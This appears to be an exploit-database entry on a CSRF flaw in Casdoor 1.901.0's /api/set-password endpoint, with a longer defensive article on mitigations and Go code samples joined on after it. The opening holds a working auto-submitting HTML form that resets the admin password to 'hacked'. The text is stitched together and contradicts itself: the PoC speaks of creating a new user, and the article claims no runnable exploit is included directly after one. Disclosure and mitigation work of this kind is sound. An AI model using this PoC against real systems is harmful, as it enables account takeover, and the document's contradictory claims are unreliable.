Casdoor 1.901.0 - Cross-Site Request Forgery (CSRF)
# Exploit Title: Casdoor 1.901.0 - Cross-Site Request Forgery (CSRF)
# Application: Casdoor
# Version: 1.901.0
# Date: 03/07/2024
# Exploit Author: Van Lam Nguyen
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor/archive/refs/tags/v1.901.0.zip
# Tested on: Windows
# CVE : N/A
Overview
==================================================
Casdoor v1.901.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password.
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.
Proof of Concept
==================================================
Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials
userOwner: built-in
userName: admin
newPassword: hacked Casdoor 1.901.0 — Cross‑Site Request Forgery (CSRF) on /api/set-password
This article analyzes a CSRF weakness discovered in Casdoor v1.901.0 and earlier that affects the endpoint /api/set-password. It explains how the issue arises, the real-world impact, detection strategies, and practical mitigations — including secure code patterns you can apply in Casdoor or similar Go web applications.
Executive summary
Casdoor v1.901.0 and below contained insufficient protections around the /api/set-password endpoint. The endpoint can be triggered by a browser request from a third‑party page when the victim is authenticated, allowing an attacker to change a victim’s password without knowing the victim’s current password. This is a classic Cross‑Site Request Forgery (CSRF) scenario: state‑changing actions are accepted without a verifiable per‑request token or equivalent origin validation.
Why this happens (technical background)
- CSRF occurs when a browser automatically adds authentication credentials (session cookie, bearer cookie) to requests made by an attacker‑controlled page.
- If the server accepts a state‑changing POST without verifying a per‑request secret (CSRF token), or validating the Origin/Referer header, an attacker can cause the victim’s browser to perform that request.
- In this case, /api/set-password performs a privileged update (changing credentials) and was reachable via a simple POST request without a secure CSRF check or requirement to present the current password or a second factor.
High‑level Proof of Concept (conceptual, non‑executable)
Conceptually, an attacker-hosted web page can instruct a victim’s browser to POST to the target Casdoor installation. If the victim is logged in, the browser sends authentication cookies and the request is processed by /api/set-password — changing the victim’s account password.
For safety and responsible disclosure purposes this article does not include a runnable exploit. The important point is to understand the attack surface: an authenticated browser + an endpoint that accepts unauthenticated state changes = CSRF risk.
Typical impact
- Account takeover: attacker can set a new password and lock the legitimate owner out.
- Privilege escalation: if an admin account is vulnerable, an attacker could gain administrative control.
- Persistent compromise: attacker-controlled credentials allow further misuse of integrated systems.
- Reputational and data‑security consequences for organizations using affected Casdoor versions.
Detection and forensic indicators
Look for anomalous patterns in access logs, application logs, and audit trails:
- Multiple password‑change requests originating from the same client IP shortly after a user session is active.
- POST requests to /api/set-password with unexpected Content‑Type (e.g., form submissions from third‑party origins).
- Unusual referer headers — requests for set-password initiated from external domains.
- Successful password changes without corresponding “change password initiated by user” UI interactions.
Immediate mitigations (short‑term)
- Apply the vendor patch or upgrade to a Casdoor release that includes the fix (if available). Prioritize production instances.
- Require the current password to change the password on the server side. A server‑side check of the old password makes CSRF attacks harder.
- Enable and enforce SameSite cookie attributes (SameSite=Strict or Lax where compatible) and ensure cookies are flagged Secure and HttpOnly.
- Add an emergency Web Application Firewall (WAF) rule to block suspicious POSTs to /api/set-password from external referers or without the proper content type / CSRF header.
Permanent mitigations and secure design recommendations
- CSRF tokens: add per‑session or per‑request CSRF tokens inserted into forms and validated on the server for state‑changing endpoints.
- Origin/Referer validation: verify the Origin header (and fall back to Referer when Origin is absent) for cross‑origin requests on sensitive endpoints.
- Require re‑authentication or 2FA for sensitive operations (passwords, MFA reset, admin actions).
- Least privilege / rate limiting: throttle changes and alert on multiple failed or unexpected updates.
- Use Content Security Policy and X‑Frame‑Options to reduce the attack surface for some CSRF vectors like clickjacking.
Example secure patterns (Go / Casdoor‑style server)
The following examples show safe approaches: verifying the user’s current password on password change, and an example CSRF middleware using Origin checks. These are defensive code samples meant to illustrate secure patterns rather than exploit code.
// Example: Verify current password before changing to a new one
func HandleSetPassword(w http.ResponseWriter, r *http.Request) {
// parse authenticated user from session
user := getAuthenticatedUser(r)
if user == nil {
http.Error(w, "unauthenticated", http.StatusUnauthorized)
return
}
var req struct {
OldPassword string `json:"oldPassword"`
NewPassword string `json:"newPassword"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
// Verify the old password server-side
if !verifyPassword(user.HashedPassword, req.OldPassword) {
http.Error(w, "current password incorrect", http.StatusForbidden)
return
}
// Proceed to update password with server-side hashing
if err := updateUserPassword(user.ID, req.NewPassword); err != nil {
http.Error(w, "failed to update password", http.StatusInternalServerError)
return
}
w.WriteHeader(http.StatusOK)
}
Explanation: this handler enforces that the authenticated user must present their current password to set a new one. Verifying the existing password server‑side prevents CSRF attacks from success because the attacker cannot know the victim’s current password. It is a strong mitigation in addition to CSRF tokens.
// Example: lightweight Origin/Referer validation middleware (additional to proper CSRF tokens)
func RequireSameOrigin(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Only enforce for state-changing methods
if r.Method == http.MethodPost || r.Method == http.MethodPut || r.Method == http.MethodDelete {
origin := r.Header.Get("Origin")
if origin == "" {
origin = r.Header.Get("Referer")
}
if origin == "" {
http.Error(w, "missing origin", http.StatusForbidden)
return
}
// Replace with your app's canonical origin (scheme + host)
expectedOrigin := "https://your-app.example.com"
if !strings.HasPrefix(origin, expectedOrigin) {
http.Error(w, "invalid origin", http.StatusForbidden)
return
}
}
next.ServeHTTP(w, r)
})
}
Explanation: the middleware rejects cross‑origin state‑changing requests that do not originate from the expected application origin. It's not a full replacement for CSRF tokens in complex environments (e.g., multiple valid origins), but it's an effective additional control.
// Example: using gorilla/csrf to provide robust CSRF protection
// setup
CSRF := csrf.Protect(
[]byte("32-byte-long-auth-key"),
csrf.Secure(true), // only send cookie over HTTPS in production
)
http.Handle("/set-password", CSRF(http.HandlerFunc(HandleSetPassword)))
Explanation: gorilla/csrf issues a per‑session token stored in a cookie and validates the token submitted with state‑changing requests, providing strong CSRF protection suitable for many web apps.
Testing and validation
- After patching, validate that /api/set-password rejects cross‑origin requests and requires either the current password or a valid CSRF token.
- Use automated security scanners and manual penetration tests to verify CSRF protections are enforced on all state‑changing endpoints.
- Confirm cookies include SameSite and Secure flags and that session cookies are HttpOnly.
Operational recommendations
- Prioritize upgrades: move affected Casdoor instances to a patched release as soon as vendor fixes are available.
- Implement centralized logging and alerts for critical account changes (password updates, email changes, MFA resets).
- Require reauthentication or step‑up authentication for administrative or high‑risk operations.
- Educate dev teams on CSRF patterns: always require a per‑request token or strict origin checks for state‑changing endpoints.
Responsible disclosure and follow-up
If you are a maintainer or operator: communicate the issue to stakeholders, apply mitigations, and issue user advisories if accounts may have been compromised. If you are a security researcher: follow vendor disclosure policies and coordinate any public disclosure to include mitigations to protect users.
References and further reading
- OWASP CSRF Prevention Cheat Sheet — practical patterns for tokens, SameSite cookies, and header checks.
- gorilla/csrf documentation — how to add robust CSRF protections in Go web apps.
- RFC 6265 — HTTP State Management Mechanism (cookie attributes such as SameSite).